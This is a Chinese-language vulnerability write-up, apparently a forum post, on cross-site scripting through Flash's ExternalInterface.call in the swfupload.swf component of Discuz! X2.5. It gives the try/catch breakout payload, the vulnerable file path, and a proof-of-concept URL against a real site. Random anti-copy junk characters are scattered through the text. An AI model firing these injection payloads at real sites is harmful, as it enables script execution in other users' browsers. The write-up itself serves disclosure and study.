上回我们说
( `+ s* R& s- M- K2 F$ l: J9 ?% R- ]
flash.external.ExternalInterface.call($methodName, $parameter)
. w1 ~0 Y0 `1 y+ y* ]7 _- G在浏览器中执行的是
) Y* w3 J7 e! B
# O' U h) W3 q ctry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}, i) n# O- N! z
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如, o+ S6 {8 G6 r. U/ ~4 p
- `2 C0 V% f. u4 J @flash.external.ExternalInterface.call("object."+$methodName, $parameter)" @* b/ G' k3 |
$methodName = a())}catch(e){alert(/xss/)}//5 a4 B' k4 r* ~. y& w. _- r
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。$ V; E3 \- M0 L6 _" G8 U4 k- t. f
" a* z0 j9 D- @9 B' v0 x7 z& t
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
9 ^, h, u' f; r9 h' J* x' @1 x( L- I. N3 t! K
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )0 J m* u! H1 U. U' c% U
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。( d$ \$ T: e; v2 W o& D
2 U2 a6 q/ ]$ E4 q) m( e* k' Q1 E
4 d% C$ z0 B" y2 L1 W9 M$ `$ E; D
6 U+ D' Y( a. ?* L c4 V3 }8 z4 ~漏洞文件:upload\static\image\common\swfupload.swf
9 K# {9 ~' i# n7 b: z
5 s( A' F9 w& U0 d( b% i8 |原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf& A% P/ F+ t, V) r; _
( \) H' W1 g: M( X' u" Z P: F( x/ h# T; i* `- T/ ]2 q6 [& n
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//: v- C; k: ~6 ]5 t$ l; l& b
: U2 u/ l X* U `3 G5 G' q5 {
. Z1 Z; L/ u) M, u |